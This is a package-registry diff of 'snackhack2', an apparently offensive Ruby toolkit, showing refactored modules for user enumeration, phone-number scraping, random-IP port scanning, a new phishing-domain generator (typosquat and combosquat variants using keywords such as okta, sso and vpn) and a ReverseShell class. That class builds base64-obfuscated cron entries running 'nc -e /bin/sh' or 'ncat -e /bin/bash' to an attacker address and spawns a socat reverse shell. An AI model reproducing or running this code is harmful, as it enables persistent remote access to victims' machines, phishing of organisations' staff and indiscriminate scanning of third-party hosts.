snackhack2 0.6.4 → 0.6.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,31 +1,34 @@
1
- module Snackhack2
2
- class ListUsers
3
- attr_accessor :user
4
-
5
- def initialize
6
- @user = user
7
- end
8
-
9
- def linux
10
- `cat /etc/passwd`.split("\n").each do |l|
11
- puts l.split(":")[0]
12
- end
13
- end
14
-
15
- def windows
16
- puts `net users`
17
- end
18
-
19
- def windows_search_user
20
- puts `net user #{@user}`
21
- end
22
- def auto
23
- os = RUBY_PLATFORM
24
- if os.match?("linux")
25
- linux
26
- elsif os.match?("mingw") or os.match?(/mswin|msys|mingw|cygwin|bccwin|wince|emc/)
27
- windows
28
- end
29
- end
30
- end
31
- end
1
+ # frozen_string_literal: true
2
+
3
+ module Snackhack2
4
+ class ListUsers
5
+ attr_accessor :user
6
+
7
+ def initialize(user)
8
+ @user = user
9
+ end
10
+
11
+ def linux
12
+ `cat /etc/passwd`.split("\n").each do |l|
13
+ puts l.split(':')[0]
14
+ end
15
+ end
16
+
17
+ def windows
18
+ puts `net users`
19
+ end
20
+
21
+ def windows_search_user
22
+ puts `net user #{@user}`
23
+ end
24
+
25
+ def auto
26
+ os = RUBY_PLATFORM
27
+ if os.match?('linux')
28
+ linux
29
+ elsif os.match?('mingw') || os.match?(/mswin|msys|mingw|cygwin|bccwin|wince|emc/)
30
+ windows
31
+ end
32
+ end
33
+ end
34
+ end
@@ -0,0 +1,287 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Snackhack2
4
+ class PhishingData
5
+ def domains
6
+ [
7
+ ".com",
8
+ ".co",
9
+ ".us",
10
+ ".net",
11
+ ".org",
12
+ ".help",
13
+ ".app",
14
+ ".blog",
15
+ ".info",
16
+ ".biz",
17
+ ".store",
18
+ ".shop",
19
+ ".tech",
20
+ ".tv",
21
+ ".photos",
22
+ ".fitness",
23
+ ".fun",
24
+ ".space",
25
+ ".solutions",
26
+ ".email",
27
+ ".studio",
28
+ ".top",
29
+ ".land",
30
+ ".live",
31
+ ".me",
32
+ ".website",
33
+ ".design",
34
+ ".digital",
35
+ ".world",
36
+ ".gifts",
37
+ ".love",
38
+ ".art",
39
+ ".holiday",
40
+ ".london",
41
+ ".tokyo",
42
+ ".tips",
43
+ ".rocks",
44
+ ".work"
45
+ ]
46
+ end
47
+ def domain_keywords
48
+ [
49
+ "connect",
50
+ "corp",
51
+ "duo",
52
+ "help",
53
+ "he1p",
54
+ "helpdesk",
55
+ "helpnow",
56
+ "info",
57
+ "internal",
58
+ "mfa",
59
+ "my",
60
+ "okta",
61
+ "onelogin",
62
+ "schedule",
63
+ "service",
64
+ "servicedesk",
65
+ "servicenow",
66
+ "rci",
67
+ "rsa",
68
+ "sso",
69
+ "ssp",
70
+ "support",
71
+ "usa",
72
+ "vpn",
73
+ "work",
74
+ "dev",
75
+ "workspace",
76
+ "it",
77
+ "ops",
78
+ "hr",
79
+ "login",
80
+ "secure"
81
+ ]
82
+ end
83
+ private :domains
84
+ end
85
+ class PhishingTlds < PhishingData
86
+ attr_reader :site
87
+ def initialize
88
+ @site = site
89
+ end
90
+ def domain_split
91
+ # This method splits up the value block_given
92
+ # given in @site by the period. Which is used
93
+ # by 'remove_tlds' method to remove the TLDs
94
+ @site.split(".")
95
+ end
96
+ def site=(s)
97
+ @site = s
98
+ end
99
+ def remove_tlds
100
+ # this method function is to remove
101
+ # the TLDs from the @site. For Example
102
+ # it will remove .org, .com
103
+
104
+ ds = domain_split
105
+
106
+ # remove ".com" (last element in array)
107
+ ds.pop
108
+
109
+ # returns the domain w/o the tlds
110
+ ds
111
+ end
112
+ def check_domains(array: true)
113
+ # The function of this method is to
114
+ # check if the given domains are valid or not.
115
+ # By valid I mean resolvable and active.
116
+
117
+
118
+ # if domains is set to true, this array will hold the domains
119
+ domains_out = []
120
+
121
+ # build the list of domains
122
+ generated_tlds = change_tld
123
+
124
+ valid_domains = []
125
+ not_valid_domains = []
126
+
127
+ generated_tlds.each do |domain|
128
+ # if array is true; add the domains to array
129
+ if array
130
+ domains_out << domain
131
+ else
132
+ # if array is false print out the domains
133
+ puts domain
134
+ end
135
+ domains_out if array
136
+ end
137
+ end
138
+ def remove_letters(array_out: true)
139
+ # This method will remove letters that
140
+ # occur more than once. For example:
141
+ # google.com would become goggle.com
142
+
143
+ # store the letter count in a hash.
144
+ letter_count = {}
145
+
146
+ ds = remove_tlds
147
+
148
+ # Creates an array with each character being
149
+ # stored in a element. It will loop through the array
150
+ # and figure out the number of occurrences for each character
151
+ ds.shift.split(//).each do |letter|
152
+ if letter_count.has_key?(letter)
153
+ letter_count[letter] += 1
154
+ else
155
+ letter_count[letter] = 1
156
+ end
157
+ end
158
+
159
+ # After it creates the hash with the character and
160
+ # the number of time it cocures. This method
161
+ # will loop through the hash and check to see
162
+ # if the value is greater than 1. If it is then the key ( the letter)
163
+ # is added to the array named 'letters_with_more_than_one'
164
+ letters_with_more_than_one = []
165
+ letter_count.each do |key, value|
166
+ if value > 1
167
+ letters_with_more_than_one << key
168
+ end
169
+ end
170
+
171
+
172
+ ds = remove_tlds
173
+ new_ds = ds.shift
174
+
175
+ # the final array with the duplicates letters removed
176
+ remove_letters_out = []
177
+
178
+ # Loops through the 'letters_with_more_than_one'
179
+ # array and uses 'sub' to remove the occurence
180
+ # of one of the letters
181
+ letters_with_more_than_one.each do |l|
182
+ # removes only first character ( l )
183
+ remove_letters_out << new_ds.sub(l, "")
184
+ # removes ALL chracters ( l )
185
+ remove_letters_out << new_ds.gsub(l, "")
186
+ end
187
+
188
+ domains_with_tlds = []
189
+ # adding the TLDS to the 'remove_letter_out' array
190
+ domains.each do |d|
191
+ remove_letters_out.each do |rl|
192
+ # adds the words ( rl ) and the TLDS ( d )
193
+ # to the domains_with_tld array.
194
+ domains_with_tlds << "#{rl}#{d}"
195
+ end
196
+ end
197
+ if array_out
198
+ domains_with_tlds
199
+ else
200
+ # will print the contents of the array
201
+ # instead of returning the array
202
+ domains_with_tlds.each { |a| puts a }
203
+ end
204
+ end
205
+ def combosquatting
206
+ # where the generated domains will be located.
207
+ results = []
208
+
209
+ # get the domain_keywords array from the PhishingData class.
210
+ keywords = domain_keywords
211
+
212
+ prefixes = ["-", ".", "--"]
213
+ ds = remove_tlds
214
+ # this will generate the 'new_domain' with the keywords
215
+ # as a prefix
216
+ prefixes.each do |pre|
217
+ ds.each do |domain|
218
+ keywords.each do |key|
219
+ new_domain = "#{key}#{pre}#{domain}"
220
+ results << new_domain
221
+ end
222
+ end
223
+ end
224
+ suffixes = ["-", ".", "--"]
225
+ # this will generate the 'new_domain' with the keywords
226
+ # as a suffixes
227
+ suffixes.each do |suf|
228
+ ds.each do |domain|
229
+ keywords.each do |key|
230
+ new_domain = "#{domain}#{suf}#{key}"
231
+ results << new_domain
232
+ end
233
+ end
234
+ end
235
+ final_results = []
236
+
237
+ # Loops through the domains array in the PhishingData class
238
+ domains.each do |tlds|
239
+ results.each do |r|
240
+ new_domain = "#{r}#{tlds}"
241
+ final_results << new_domain
242
+ end
243
+ end
244
+ final_results
245
+ end
246
+ def change_tld(no_tld: true)
247
+ # This method will take the inputted site in @site and
248
+ # remove the TLDs and add a new TLDs to the domain.
249
+ # its uses the 'domain' method in the PhishingData class
250
+ # which has an array of a bunch of different tlds.
251
+
252
+
253
+ # if the @site does not have a tlds
254
+ if no_tld
255
+ new_domains = []
256
+ # loop through the tlds
257
+ domains.each do |d|
258
+ # combine the inputed @site
259
+ # and the tlds
260
+ new_domains << "#{@site}#{d}"
261
+ end
262
+ new_domains
263
+ else
264
+ # If the @site does have a TLDs.
265
+
266
+ # this is where the final results
267
+ # are stored.
268
+ list_of_domains = []
269
+
270
+ # removes .com, .org, etc
271
+ ds = remove_tlds
272
+
273
+ # join the elements together
274
+ ds = ds.join(".")
275
+
276
+
277
+ # loops through the tlds
278
+ domains.each do |tlds|
279
+ # adds the new domains to the array
280
+ list_of_domains << ds + tlds
281
+ end
282
+ list_of_domains
283
+ end
284
+ end
285
+ private :remove_tlds, :domain_split
286
+ end
287
+ end
@@ -1,56 +1,53 @@
1
- require 'httparty'
2
- require 'spidr'
3
- module Snackhack2
4
- class PhoneNumber
5
- attr_accessor :save_file, :site
6
-
7
- def initialize(save_file: true)
8
- @site = site
9
- @save_file = save_file
10
- end
11
-
12
- def save_file
13
- @save_file
14
- end
15
-
16
- def run
17
- numbers = []
18
- http = Snackhack2::get(@site)
19
- if http.code == 200
20
- regex = http.body
21
- phone = regex.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
22
- out = phone.map { |n| n[0] }.compact
23
- numbers << out
24
- else
25
- puts "[+] Status code: #{http.code}"
26
- end
27
- if !numbers.empty?
28
- if @save_file
29
- hostname = URI.parse(@site).host
30
- Snackhack2::file_save(@site, "phone_numbers", numbers.join("\n"))
31
- end
32
- end
33
- end
34
-
35
- def spider
36
- phone_numbers = []
37
- Spidr.start_at(@site, max_depth: 4) do |agent|
38
- agent.every_page do |page|
39
- body = page.to_s
40
- if body.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
41
- pn = body.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)[0]
42
- if !pn.nil?
43
- pn = pn.compact.select { |i| !i.to_s.nil? }.shift
44
- if !phone_numbers.include?(pn.to_s)
45
- phone_numbers << pn
46
- end
47
- end
48
- end
49
- end
50
- end
51
- if !phone_numbers.empty?
52
- Snackhack2::file_save(@site, "phonenumbers", phone_numbers.join("\n")) if @save_file
53
- end
54
- end
55
- end
56
- end
1
+ # frozen_string_literal: true
2
+
3
+ require 'httparty'
4
+ require 'spidr'
5
+ module Snackhack2
6
+ class PhoneNumber
7
+ attr_accessor :save_file, :site
8
+
9
+ def initialize(save_file: true)
10
+ @site = site
11
+ @save_file = save_file
12
+ end
13
+
14
+ attr_reader :save_file
15
+
16
+ def run
17
+ numbers = []
18
+ http = Snackhack2.get(@site)
19
+ if http.code == 200
20
+ regex = http.body
21
+ phone = regex.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
22
+ out = phone.map { |n| n[0] }.compact
23
+ numbers << out
24
+ else
25
+ puts "\n\n[+] Status code: #{http.code}"
26
+ end
27
+ return if numbers.empty?
28
+ return unless @save_file
29
+
30
+ URI.parse(@site).host
31
+ Snackhack2.file_save(@site, 'phone_numbers', numbers.join("\n"))
32
+ end
33
+
34
+ def spider
35
+ phone_numbers = []
36
+ Spidr.start_at(@site, max_depth: 4) do |agent|
37
+ agent.every_page do |page|
38
+ body = page.to_s
39
+ if body.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
40
+ pn = body.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)[0]
41
+ unless pn.nil?
42
+ pn = pn.compact.reject { |i| i.to_s.nil? }.shift
43
+ phone_numbers << pn unless phone_numbers.include?(pn.to_s)
44
+ end
45
+ end
46
+ end
47
+ end
48
+ return if phone_numbers.empty?
49
+
50
+ Snackhack2.file_save(@site, 'phonenumbers', phone_numbers.join("\n")) if @save_file
51
+ end
52
+ end
53
+ end
@@ -1,73 +1,72 @@
1
- # frozen_string_literal: true
2
-
3
- module Snackhack2
4
- class PortScan
5
- attr_accessor :display, :ip, :delete, :count
6
-
7
- def initialize(display: true, delete: false, count: 10)
8
- @ip = ip
9
- @display = display
10
- @delete = delete
11
- @count = count
12
- end
13
-
14
- def run
15
- threads = []
16
- ports = [*1..1000]
17
- ports.each { |i| threads << Thread.new { tcp(i) } }
18
- threads.each(&:join)
19
- end
20
-
21
- def mass_scan
22
- generate_ips.each do |ips|
23
- tcp = PortScan.new
24
- tcp.ip = ips
25
- tcp.run
26
- end
27
- end
28
-
29
- def generate_ips
30
- ips = []
31
- @count.to_i.times do |c|
32
- ips << Array.new(4) { rand(256) }.join('.')
33
- end
34
- ips
35
- end
36
-
37
- def ports_extractor(port)
38
- ip = []
39
- files = Dir['*_port_scan.txt']
40
- files.each do |f|
41
- r = File.read(f)
42
- if r.include?(port)
43
- ip << f.split("_")[0]
44
- end
45
- File.delete(f) if delete
46
- end
47
- File.open("#{port}_scan.txt", 'w+') { |file| file.write(ip.join("\n")) }
48
- end
49
-
50
- def tcp(i)
51
- ip = @ip
52
- open_ports = []
53
- begin
54
- Timeout.timeout(1) do
55
- s = TCPSocket.new(@ip, i)
56
- s.close
57
- open_ports << i
58
- rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, Errno::ENETUNREACH
59
- return false
60
- end
61
- rescue Timeout::Error
62
- end
63
- return if open_ports.empty?
64
-
65
- if @display
66
- open_ports.each do |port|
67
- puts "#{ip} - #{port} is open\n"
68
- end
69
- end
70
- File.open("#{ip}_port_scan.txt", 'a') { |file| file.write(open_ports.shift.to_s + "\n") }
71
- end
72
- end
73
- end
1
+ # frozen_string_literal: true
2
+
3
+ module Snackhack2
4
+ class PortScan
5
+ attr_accessor :display, :ip, :delete, :count
6
+
7
+ def initialize(display: true, delete: false, count: 10, terminal_output: false)
8
+ @ip = ip
9
+ @display = display
10
+ @delete = delete
11
+ @count = count
12
+ @terminal_output = terminal_output
13
+ end
14
+
15
+ def run
16
+ threads = []
17
+ ports = [*1..1000]
18
+ ports.each { |i| threads << Thread.new { tcp(i) } }
19
+ threads.each(&:join)
20
+ end
21
+
22
+ def mass_scan
23
+ generate_ips.each do |ips|
24
+ tcp = PortScan.new
25
+ tcp.ip = ips
26
+ tcp.run
27
+ end
28
+ end
29
+
30
+ def generate_ips
31
+ ips = []
32
+ @count.to_i.times do |_c|
33
+ ips << Array.new(4) { rand(256) }.join('.')
34
+ end
35
+ ips
36
+ end
37
+
38
+ def ports_extractor(port)
39
+ ip = []
40
+ files = Dir['*_port_scan.txt']
41
+ files.each do |f|
42
+ r = File.read(f)
43
+ ip << f.split('_')[0] if r.include?(port)
44
+ File.delete(f) if delete
45
+ end
46
+ File.open("#{port}_scan.txt", 'w+') { |file| file.write(ip.join("\n")) }
47
+ end
48
+
49
+ def tcp(i)
50
+ ip = @ip
51
+ open_ports = []
52
+ begin
53
+ Timeout.timeout(1) do
54
+ s = TCPSocket.new(@ip, i)
55
+ s.close
56
+ open_ports << i
57
+ rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, Errno::ENETUNREACH
58
+ return false
59
+ end
60
+ rescue Timeout::Error
61
+ end
62
+ return if open_ports.empty?
63
+
64
+ return unless @display
65
+
66
+ open_ports.each do |port|
67
+ puts "#{ip} - #{port} is open\n"
68
+ end
69
+ File.open("#{ip}_port_scan.txt", 'a') { |file| file.write("#{open_ports.shift}\n") }
70
+ end
71
+ end
72
+ end
@@ -1,31 +1,32 @@
1
- require 'base64'
2
- module Snackhack2
3
- class ReverseShell
4
- attr_accessor :ip, :port
5
- def initialize
6
- @ip = ip
7
- @port = port
8
- end
9
-
10
- def run
11
- c = %Q{#!/bin/bash
12
- line="* * * * * nc -e /bin/sh #{@ip} #{@port}"
13
- (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
14
- puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
15
- end
16
-
17
- def version2
18
- c = %Q{#!/bin/bash
19
- line="* * * * * ncat #{@ip} #{@port} -e /bin/bash"
20
- (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
21
- puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
22
- end
23
-
24
- def bash
25
- c = %Q{
26
- bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane"
27
- }
28
- Process.spawn(c)
29
- end
30
- end
31
- end
1
+ # frozen_string_literal: true
2
+
3
+ require 'base64'
4
+ module Snackhack2
5
+ class ReverseShell
6
+ attr_accessor :ip, :port
7
+
8
+ def initialize()
9
+ @ip = ip
10
+ @port = port
11
+ end
12
+
13
+ def nc
14
+ c = %{#!/bin/bash
15
+ line="* * * * * nc -e /bin/sh #{@ip} #{@port}"
16
+ (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
17
+ puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
18
+ end
19
+
20
+ def ncat
21
+ c = %{#!/bin/bash
22
+ line="* * * * * ncat #{@ip} #{@port} -e /bin/bash"
23
+ (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
24
+ puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
25
+ end
26
+
27
+ def bash
28
+ c = %(bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane")
29
+ Process.spawn(c)
30
+ end
31
+ end
32
+ end